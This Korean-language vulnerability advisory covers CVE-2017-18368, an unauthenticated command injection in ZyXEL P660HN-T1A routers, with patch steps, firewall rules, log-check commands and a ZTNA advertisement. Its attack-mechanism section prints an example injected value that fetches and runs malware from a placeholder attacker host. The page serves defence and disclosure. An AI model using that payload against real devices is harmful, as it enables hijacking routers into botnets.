CVE 데이터베이스CVE-2017-18368

최종 갱신 2026-06-17English Advisory →

CVE-2017-183689.8/CRITICALCISA KEV 등재CWE-78CWE-78

ZyXEL P660HN-T1A 공유기 ViewLog.asp 원격 명령 주입(RCE) 취약점 (CVE-2017-18368) 분석 및 대응 가이드

⚡ 패치 명령어 바로가기

영향받는 벤더 / 생태계

zyxel

대상 컴포넌트 / 패키지

p660hn-t1a

권고문 발행일

2019-05-02

CVSS v3.1

9.8

CRITICAL

30일 악용확률

94.5%

FIRST.org

CISA KEV

악용 확인됨

NVD 원문 ↗

실무자 핵심 요약 (Executive Summary)

SECOPS ASSESSMENT

영향 대상

TrueOnline에서 배포한 ZyXEL P660HN-T1A v1 라우터 (TCLinux 펌웨어 v7.3.15.0 v001 / 3.40(ULM.0)b31 이하 버전)

파급 효과

인증되지 않은 원격 공격자가 ViewLog.asp 페이지의 remote_host 파라미터를 조작하여 대상 장비에서 루트 권한으로 임의의 시스템 명령을 실행할 수 있습니다

권장 조치

취약한 장비의 외부 관리 인터페이스 노출을 즉시 차단하고, 최신 펌웨어 업데이트 적용 또는 장비 교체를 수행해야 합니다

영향받는 제품 및 버전 범위

TrueOnline 배포 ZyXEL P660HN-T1A v1 라우터 (TCLinux 펌웨어 v7.3.15.0 v001 / 3.40(ULM.0)b31 포함 및 이하 버전)

권장 패치 및 임시 완화(Workaround) 가이드

패치 및 우회 명령어

1. 공식 보안 패치 및 버전 업그레이드 명령어

해당 장비는 단종(EoL) 상태에 도달했을 가능성이 높으므로, 제조사(ZyXEL) 또는 서비스 제공업체(TrueOnline)의 공식 지원 채널을 통해 최신 패치 적용 여부를 확인해야 합니다. 펌웨어 업그레이드가 가능한 경우 아래와 같이 CLI 환경에서 펌웨어 다운로드 및 업데이트를 수행하십시오.

bash

# 1. 최신 보안 패치가 적용된 펌웨어 이미지 다운로드 (예시 경로)
wget http://customer.trueonline.com/support/firmware/P660HN-T1A-v1-latest.bin -O /tmp/firmware.bin

# 2. 시스템 CLI 도구를 이용한 펌웨어 플래싱 실행 (장비별 명령어 상이)
sys upgrade /tmp/firmware.bin

2. 패치 전 임시 완화(Workaround) 및 접근 제어 설정

패치 적용이 불가능한 경우, 외부 인터넷(WAN)에서 웹 관리 인터페이스(HTTP/HTTPS)로의 접근을 전면 차단해야 합니다. 방화벽 규칙(iptables)을 사용하여 신뢰할 수 있는 내부 IP 대역에서만 관리 페이지에 접속할 수 있도록 제한하십시오.

bash

# WAN 인터페이스(예: eth0)로부터의 웹 관리 포트(80, 443) 접속 차단
iptables -A INPUT -i eth0 -p tcp --dport 80 -j DROP
iptables -A INPUT -i eth0 -p tcp --dport 443 -j DROP

# 특정 신뢰할 수 있는 관리자 IP(예: 192.168.1.100)만 허용
iptables -I INPUT -p tcp -s 192.168.1.100 --dport 80 -j ACCEPT

3. 침해 흔적(IoC) 및 로그·버전 점검 스크립트

장비 내부의 웹 서버 로그를 분석하여 ViewLog.asp 및 remote_host 파라미터가 포함된 비정상적인 요청이 유입되었는지 점검하십시오.

bash

# 웹 서버 액세스 로그에서 ViewLog.asp 및 명령 주입 시도 흔적 검색
grep -i 'ViewLog.asp' /var/log/httpd/access_log | grep -E '(\||;|\&|\`|\$)'

# 현재 실행 중인 프로세스 중 비정상적인 외부 커넥션이나 셸 실행 여부 확인
ps | grep -E '(wget|curl|sh|bash|tmp)'

실무자 패치 대응 자가 점검 체크리스트

0/4 (0%)

권장 아키텍처 방어 통제 (Recommended Security Control)

NordLayer / Zero-Trust Network Access

단종된 취약 장비는 외부 노출을 즉시 차단하고, 신속히 최신 보안 표준을 지원하는 대체 장비로 교체할 것을 강력히 권고합니다.

반복되는 SSL-VPN 및 방화벽 Zero-Day 해킹, 이제 외부 포트를 닫고 ZTNA로 전환할 때입니다

공인 IP에 노출된 VPN 장비와 관리 콘솔은 랜섬웨어 그룹의 1순위 타겟입니다. 네트워크 포트 노출 없이 신원 기반으로 안전하게 사내 인프라에 접속하세요.

공격 표면(Attack Surface) 90% 감소 · 10분 배포

기업용 제로트러스트 네트워크 데모 및 견적 보기

취약점 발생 원리 및 공격 메커니즘

1. 취약점 개요 및 발생 원인 (Root Cause)

본 취약점(CVE-2017-18368)은 TrueOnline에서 배포한 ZyXEL P660HN-T1A v1 라우터의 원격 시스템 로그 전달(Remote System Log forwarding) 기능에서 발생하는 OS 명령 주입(Command Injection) 취약점입니다. 취약점은 웹 관리 인터페이스의 ViewLog.asp 페이지 내 remote_host 파라미터에 대한 입력값 검증 미흡으로 인해 발생합니다. 공격자는 인증을 거치지 않고도 해당 파라미터에 셸 메타문자(예: 세미콜론, 앰퍼샌드 등)를 삽입하여 기본 운영체제(TCLinux)의 시스템 명령을 직접 실행할 수 있습니다.

2. 공격 메커니즘 및 익스플로잇 시나리오

공격자는 포트 80 또는 웹 관리 포트가 외부 인터넷에 노출된 대상 장비를 탐색합니다. 이후 ViewLog.asp 페이지로 특수하게 조작된 HTTP POST 또는 GET 요청을 전송합니다. 이때 remote_host 파라미터 값 뒤에 실행하고자 하는 악성 명령어를 덧붙여 전송합니다. 예를 들어, remote_host=127.0.0.1; wget http://<attacker_ip>/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m과 같은 페이로드를 주입하면, 웹 서버 프로세스의 권한(일반적으로 root)으로 해당 명령어가 그대로 실행됩니다. 이 취약점은 Mirai 봇넷 등 다양한 IoT 악성코드 캠페인에서 장비를 감염시키고 DDoS 좀비 PC로 활용하기 위해 적극적으로 악용되어 왔습니다.

3. 비즈니스 및 인프라 파급 영향

본 취약점은 CVSS 3.1 기준 최고 위험도인 9.8(Critical)을 기록하였으며, CISA KEV(Known Exploited Vulnerabilities) 목록에 등재될 만큼 실제 공격에 빈번히 악용되는 고위험 취약점입니다. 공격자가 장비의 제어권을 완전히 획득할 경우, 내부 네트워크로의 횡적 이동(Lateral Movement)을 위한 교두보로 활용될 수 있습니다. 또한 트래픽 스니핑을 통한 민감 정보 탈취, DNS 변조를 통한 피싱 사이트 유도, 대규모 디도스(DDoS) 공격의 발신지로 악용되어 기업 및 인프라 신뢰도에 치명적인 타격을 입힐 수 있습니다.

공식 보안 권고문 및 참조 링크

NIST NVD 공식 영문 원문 (Original Record)

The ZyXEL P660HN-T1A v1 TCLinux Fw $7.3.15.0 v001 / 3.40(ULM.0)b31 router distributed by TrueOnline has a command injection vulnerability in the Remote System Log forwarding function, which is accessible by an unauthenticated user. The vulnerability is in the ViewLog.asp page and can be exploited through the remote_host parameter.

http://www.zyxel.com/support/announcement_unauthenticated.shtml

출처: cve@mitre.org · Broken Link

https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt

출처: cve@mitre.org · Exploit, Third Party Advisory

https://seclists.org/fulldisclosure/2017/Jan/40

출처: cve@mitre.org · Exploit, Mailing List, Third Party Advisory

https://ssd-disclosure.com/index.php/archives/2910

출처: cve@mitre.org · Exploit, Technical Description, Third Party Advisory

https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/

출처: cve@mitre.org · Technical Description, Third Party Advisory

http://www.zyxel.com/support/announcement_unauthenticated.shtml

출처: af854a3a-2127-422b-91ae-364da2661108 · Broken Link

자주 묻는 실무 질문 (FAQ — CVE-2017-18368)

FAQ

Q1. CVE-2017-18368 취약점의 위험도와 실제 악용 가능성은 어느 정도입니까?

CVE-2017-18368의 기본 점수는 CVSS 9.8 (CRITICAL)이며, 향후 30일 내 실제 악용 확률을 나타내는 EPSS 점수는 94.5%입니다. 현재 미국 CISA KEV(실제 악용이 확인된 취약점 카탈로그)에 등재되어 있으므로 최우선 긴급 패치가 필요합니다.